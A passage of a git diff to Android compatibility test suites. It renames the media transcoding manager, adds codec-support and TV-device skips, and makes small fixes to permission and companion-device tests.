 @AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaTranscodeManagerTest extends AndroidTestCase {
-    private static final String TAG = "MediaTranscodeManagerTest";
+public class MediaTranscodingManagerTest extends AndroidTestCase {
+    private static final String TAG = "MediaTranscodingManagerTest";
     /** The time to wait for the transcode operation to complete before failing the test. */
     private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
     /** Copy the transcoded video to /storage/emulated/0/Download/ */
@@ -78,7 +81,7 @@
 
     private Context mContext;
     private ContentResolver mContentResolver;
-    private MediaTranscodeManager mMediaTranscodeManager = null;
+    private MediaTranscodingManager mMediaTranscodingManager = null;
     private Uri mSourceHEVCVideoUri = null;
     private Uri mSourceAVCVideoUri = null;
     private Uri mDestinationUri = null;
@@ -140,8 +143,8 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
-        mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
-        assertNotNull(mMediaTranscodeManager);
+        mMediaTranscodingManager = mContext.getSystemService(MediaTranscodingManager.class);
+        assertNotNull(mMediaTranscodingManager);
         androidx.test.InstrumentationRegistry.registerInstance(
                 InstrumentationRegistry.getInstrumentation(), new Bundle());
 
@@ -289,7 +292,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -301,7 +304,7 @@
         assertNotNull(session);
 
         if (session != null) {
-            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to complete.");
+            Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to complete.");
             boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                     TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             assertTrue("Transcode failed to complete in time.", finishedOnTime);
@@ -337,7 +340,7 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
@@ -351,7 +354,7 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -365,7 +368,7 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -423,14 +426,6 @@
         if (shouldSkip()) {
             return;
         }
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
-        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
-        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
-            return;
-        }
         transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
                 "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
     }
@@ -453,14 +448,26 @@
         ApplicationMediaCapabilities clientCaps =
                 new ApplicationMediaCapabilities.Builder().build();
 
+        MediaFormat srcVideoFormat = getVideoTrackFormat(fileUri);
+        assertNotNull(srcVideoFormat);
+
+        int width = srcVideoFormat.getInteger(MediaFormat.KEY_WIDTH);
+        int height = srcVideoFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
         TranscodingRequest.VideoFormatResolver
                 resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
                 MediaFormat.createVideoFormat(
-                        MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT));
+                        MediaFormat.MIMETYPE_VIDEO_HEVC, width, height));
         assertTrue(resolver.shouldTranscode());
         MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
         assertNotNull(videoTrackFormat);
 
+        // Return if the source or target video format is not supported
+        if (!isFormatSupported(srcVideoFormat, false)
+                || !isFormatSupported(videoTrackFormat, true)) {
+            return;
+        }
+
         int pid = android.os.Process.myPid();
         int uid = android.os.Process.myUid();
 
@@ -487,7 +494,7 @@
 
         Log.d(TAG, "transcoding to format: " + videoTrackFormat);
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -506,7 +513,7 @@
         }
 
         if (session != null) {
-            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+            Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to cancel.");
             boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                     TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             assertTrue("Transcode failed to complete in time.", finishedOnTime);
@@ -555,7 +562,7 @@
     }
 
     public void testCancelTranscoding() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testCancelTranscoding");
@@ -571,7 +578,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -600,7 +607,7 @@
         statusLatch.await(2, TimeUnit.MILLISECONDS);
         session.cancel();
 
-        Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+        Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to cancel.");
         boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                 30, TimeUnit.MILLISECONDS);
 
@@ -627,16 +634,16 @@
                     new TranscodingRequest.Builder()
                             .setSourceUri(mSourceHEVCVideoUri)
                             .setDestinationUri(mDestinationUri)
-                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setType(MediaTranscodingManager.TRANSCODING_TYPE_VIDEO)
                             .setClientPid(pid)
                             .setClientUid(uid)
-                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setPriority(MediaTranscodingManager.PRIORITY_REALTIME)
                             .setVideoTrackFormat(createMediaFormat())
                             .build();
             Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
             TranscodingSession session =
-                    mMediaTranscodeManager.enqueueRequest(
+                    mMediaTranscodingManager.enqueueRequest(
                             request,
                             listenerExecutor,
                             transcodingSession -> {
@@ -646,7 +653,7 @@
     }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -663,7 +670,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(request,
                 listenerExecutor,
                 TranscodingSession -> {
                     Log.d(TAG,
@@ -698,7 +705,7 @@
     }
 
     public void testAddingClientUids() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -715,7 +722,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(request,
                 listenerExecutor,
                 TranscodingSession -> {
                     Log.d(TAG,
@@ -758,4 +765,72 @@
         assertTrue("Failed to receive at least 10 progress updates",
                 progressUpdateCount.get() > 10);
     }
+
+    private MediaFormat getVideoTrackFormat(Uri fileUri) throws IOException {
+        MediaFormat videoFormat = null;
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(fileUri.toString());
+        // Find video track format
+        for (int trackID = 0; trackID < extractor.getTrackCount(); trackID++) {
+            MediaFormat format = extractor.getTrackFormat(trackID);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                videoFormat = format;
+                break;
+            }
+        }
+        extractor.release();
+        return videoFormat;
+    }
+
+    private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
+        MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
+        if (sourceFormat != null) {
+            // Since destination format is not available, we assume width, height and
+            // frame rate same as source format, and mime as AVC for destination format.
+            MediaFormat destinationFormat = new MediaFormat();
+            destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
+            destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
+                    sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
+            destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
+                    sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
+            if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
+                destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
+                        sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
+            }
+            return isFormatSupported(sourceFormat, false)
+                    && isFormatSupported(destinationFormat, true);
+        }
+        return false;
+    }
+
+    private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        MediaCodec codec = null;
+        try {
+            // The underlying transcoder library uses AMediaCodec_createEncoderByType
+            // to create encoder. So we cannot perform an exhaustive search of
+            // all codecs that support the format. This is because the codec that
+            // advertises support for the format during search may not be the one
+            // instantiated by the transcoder library. So, we have to check whether
+            // the codec returned by createEncoderByType supports the format.
+            // The same point holds for decoder too.
+            if (isEncoder) {
+                codec = MediaCodec.createEncoderByType(mime);
+            } else {
+                codec = MediaCodec.createDecoderByType(mime);
+            }
+            MediaCodecInfo info = codec.getCodecInfo();
+            MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+            if (caps != null && caps.isFormatSupported(format) && info.isHardwareAccelerated()) {
+                return true;
+            }
+        } catch (IOException e) {
+            Log.d(TAG, "Exception: " + e);
+        } finally {
+            if (codec != null) {
+                codec.release();
+            }
+        }
+        return false;
+    }
 }
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index c5500ae..95febcd 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
@@ -322,23 +323,32 @@
             throw new UnsupportedOperationException("Only supports YUV420P");
         }
 
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
+        Rect crop = image.getCropRect();
+        int cropLeft = crop.left;
+        int cropRight = crop.right;
+        int cropTop = crop.top;
+        int cropBottom = crop.bottom;
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
         byte[] bb = new byte[imageWidth * imageHeight];
         byte[] lb = null;
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
             ByteBuffer buf = planes[i].getBuffer();
 
-            int width, height, rowStride, pixelStride, x, y;
+            int width, height, rowStride, pixelStride, x, y, top, left;
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
                 width = imageWidth;
                 height = imageHeight;
+                left = cropLeft;
+                top = cropTop;
             } else {
                 width = imageWidth / 2;
                 height = imageHeight / 2;
+                left = cropLeft / 2;
+                top = cropTop / 2;
             }
 
             if (buf.hasArray()) {
@@ -371,7 +381,7 @@
                     }
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left + (top + y) * rowStride);
                         // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
                         buf.get(lb, 0, pixelStride * (width - 1) + 1);
                         for (x = 0; x < width; ++x) {
diff --git a/tests/tests/nativemedia/resourceobserver/OWNERS b/tests/tests/nativemedia/resourceobserver/OWNERS
index 167c365..5679184 100644
--- a/tests/tests/nativemedia/resourceobserver/OWNERS
+++ b/tests/tests/nativemedia/resourceobserver/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 1344
+chz@google.com
 wonsik@google.com
 lajos@google.com
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
index 5e932c3..cfd62fb 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -49,6 +49,7 @@
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
 import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Rule
 import org.junit.Test
@@ -119,8 +120,12 @@
                         packageManager.getApplicationInfo(APK_PACKAGE_NAME_S_APP, 0 /* flags */)
                     val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0)
                     assertTrue(stopped)
-                    openUnusedAppsNotification()
 
+                    if (hasFeatureTV()) {
+                        // Skip checking unused apps screen because it may be unavailable on TV
+                        return
+                    }
+                    openUnusedAppsNotification()
                     waitFindObject(By.text(APK_PACKAGE_NAME_S_APP))
                 }
             }
@@ -129,6 +134,9 @@
 
     @Test
     fun testPreSVersionUnusedApp_doesntGetForceStopped() {
+        assumeFalse(
+            "TV may have different behaviour for Pre-S version apps",
+            hasFeatureTV())
         withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) {
             withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
                 // Use app
@@ -154,6 +162,9 @@
     @AppModeFull(reason = "Uses application details settings")
     @Test
     fun testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists() {
+        assumeFalse(
+            "Remove permissions and free up space toggle may be unavailable on TV",
+            hasFeatureTV())
         withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") {
             withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) {
                 // Open app info
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index da55409..b1688d2 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -190,6 +190,13 @@
         PackageManager.FEATURE_WATCH)
 }
 
+fun hasFeatureTV(): Boolean {
+    return InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+            PackageManager.FEATURE_LEANBACK) ||
+            InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature(
+                    PackageManager.FEATURE_TELEVISION)
+}
+
 private fun expandNotificationsWatch(uiDevice: UiDevice) {
     with(uiDevice) {
         wakeUp()
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 2d3610b..a953562 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -149,6 +149,11 @@
 
                 // Verify
                 assertPermission(PERMISSION_DENIED)
+
+                if (hasFeatureTV()) {
+                    // Skip checking unused apps screen because it may be unavailable on TV
+                    return
+                }
                 openUnusedAppsNotification()
 
                 waitFindObject(By.text(supportedAppPackageName))
@@ -161,6 +166,9 @@
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
     fun testUnusedApp_uninstallApp() {
+        assumeFalse(
+            "Unused apps screen may be unavailable on TV",
+            hasFeatureTV())
         withUnusedThresholdMs(3L) {
             withDummyAppNoUninstallAssertion {
                 // Setup
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index bfb82c5..ee2ab83 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,7 +17,9 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
+import android.content.pm.PackageManager.FEATURE_LEANBACK
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
@@ -68,6 +70,8 @@
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
+const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
 val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
@@ -79,6 +83,12 @@
     val cdm: CompanionDeviceManager by lazy {
         context.getSystemService(CompanionDeviceManager::class.java)
     }
+    val pm: PackageManager by lazy { context.packageManager }
+    private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
+        pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
+    }
+    private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
+    private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -102,19 +112,24 @@
 
     @Before
     fun assumeHasFeature() {
-        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+        assumeTrue(hasFeatureCompanionDeviceSetup)
         // TODO(b/191699828) test does not work in automotive due to accessibility issue
-        assumeFalse(context.packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+        assumeFalse(isAuto)
     }
 
     @After
     fun removeAllAssociations() {
-        val packageName = "android.os.cts.companiontestapp"
+        // If the devices does not have the feature or is an Auto, the test didn't run, and the
+        // clean up is not needed (will actually crash if the feature is missing).
+        // See assumeHasFeature @Before method.
+        if (!hasFeatureCompanionDeviceSetup || isAuto) return
+
         val userId = context.userId
-        val associations = getAssociatedDevices(packageName)
+        val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
 
         for (address in associations) {
-            runShellCommandOrThrow("cmd companiondevice disassociate $userId $packageName $address")
+            runShellCommandOrThrow(
+                    "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
         }
     }
 
@@ -168,10 +183,8 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
@@ -191,24 +204,28 @@
         device!!.click()
 
         eventually {
-            assertThat(getAssociatedDevices(packageName), not(empty()))
+            assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty()))
         }
-        val deviceAddress = getAssociatedDevices(packageName).last()
+        val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last()
 
         runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
 
         runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testRequestNotifications() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk(
-                "--user ${UserHandle.myUserId()} /data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        // Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists
+        // in Settings but not in TvSettings for Android TV devices (b/199224565).
+        assumeFalse(isTV)
+
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 0ffa86c..1e60eae 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -927,6 +927,9 @@
         assertViolation("Tried to access visual service " + WM_CLASS_NAME,
                 () -> configContext.getSystemService(WindowManager.class));
 
+        // Make the ViewConfiguration to be cached so that we won't call WindowManager
+        ViewConfiguration.get(configContext);
+
         assertNoViolation(() -> ViewConfiguration.get(configContext));
 
         mInstrumentation.runOnMainSync(() -> {
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8d57488..746f8b2 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -42,9 +42,8 @@
         <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
     </target_preparer>
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
-        <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer">
+        <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/OWNERS b/tests/tests/packageinstaller/adminpackageinstaller/OWNERS
index e77c9be..7455e48 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/OWNERS
+++ b/tests/tests/packageinstaller/adminpackageinstaller/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36137
+toddke@google.com
 sunnygoyal@google.com
 patb@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
index 93920a5..8b8f24a 100644
--- a/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NearbyDevicesPermissionTest.java
@@ -51,6 +51,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -210,24 +211,40 @@
     }
 
     /**
-     * Verify that upgrading an app doesn't gain them any access to Bluetooth
-     * scan results; they'd always need to involve the user to gain permissions.
+     * Verify that a legacy app that was unable to interact with Bluetooth
+     * devices is still unable to interact with them after updating to a modern
+     * SDK; they'd always need to involve the user to gain permissions.
      */
     @Test
-    public void testRequestBluetoothPermission_Upgrade() throws Throwable {
+    public void testRequestBluetoothPermission_Default_Upgrade() throws Throwable {
         install(APK_BLUETOOTH_30);
-        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
-        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
-        assertScanBluetoothResult(Result.FULL);
+        assertScanBluetoothResult(Result.EMPTY);
 
         // Upgrading to target a new SDK level means they need to explicitly
         // request the new runtime permission; by default it's denied
-        install(APK_BLUETOOTH_31);
+        install(APK_BLUETOOTH_NEVER_FOR_LOCATION_31);
         assertScanBluetoothResult(Result.EXCEPTION);
 
         // If the user does grant it, they can scan again
         grantPermission(TEST_APP_PKG, BLUETOOTH_CONNECT);
         grantPermission(TEST_APP_PKG, BLUETOOTH_SCAN);
+        assertScanBluetoothResult(Result.FILTERED);
+    }
+
+    /**
+     * Verify that a legacy app that was able to interact with Bluetooth devices
+     * is still able to interact with them after updating to a modern SDK.
+     */
+    @Test
+    public void testRequestBluetoothPermission_GrantLocation_Upgrade() throws Throwable {
+        install(APK_BLUETOOTH_30);
+        grantPermission(TEST_APP_PKG, ACCESS_FINE_LOCATION);
+        grantPermission(TEST_APP_PKG, ACCESS_BACKGROUND_LOCATION);
+        assertScanBluetoothResult(Result.FULL);
+
+        // Upgrading to target a new SDK level means they still have the access
+        // they enjoyed as a legacy app
+        install(APK_BLUETOOTH_31);
         assertScanBluetoothResult(Result.FULL);
     }
 
diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
index d013b93..7095299 100644
--- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java
@@ -24,7 +24,9 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Process;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SystemUserOnly;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -64,7 +66,10 @@
         final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS));
 
         final PackageManager pm = sContext.getPackageManager();
-        final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID);
+        int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID));
+        final String[] pkgs = pm.getPackagesForUid(uid);
+        Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: "
+                + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length);
         assertNotNull("No SHELL packages were found", pkgs);
         assertNotEquals("SHELL package list had 0 size", 0, pkgs.length);
         String pkg = pkgs[0];
@@ -73,9 +78,16 @@
         assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions);
 
         for (String permission : packageInfo.requestedPermissions) {
-            Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission);
+            Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: "
+                    + uid);
             assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission,
                     blacklist.contains(permission));
         }
     }
+
+    @Test
+    @SystemUserOnly
+    public void testBlacklistedPermissionsForSystemUser() throws Exception {
+        testBlacklistedPermissions();
+    }
 }
diff --git a/tests/tests/permission2/res/raw/OWNERS b/tests/tests/permission2/res/raw/OWNERS
index 69893e5..04895ff 100644
--- a/tests/tests/permission2/res/raw/OWNERS
+++ b/tests/tests/permission2/res/raw/OWNERS
@@ -1,6 +1,7 @@
 svetoslavganov@google.com
 cbrubaker@google.com
 hackbod@google.com
+toddke@google.com
 patb@google.com
 yamasani@google.com
 michaelwr@google.com
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 9df84cb..b1fe835 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -410,11 +410,16 @@
         isLegacyApp: Boolean,
         targetSdk: Int
     ) {
-        pressBack()
-        pressBack()
-        pressBack()
         if (isTv) {
+            // Dismiss DeprecatedTargetSdkVersionDialog, if present
+            if (waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), 1000L) != null) {
+                pressBack()
+            }
             pressHome()
+        } else {
+            pressBack()
+            pressBack()
+            pressBack()
         }
 
         // Try multiple times as the AppInfo page might have read stale data
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 65ac193..e509f83 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -18,11 +18,14 @@
 
 import android.Manifest
 import android.content.Intent
+import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
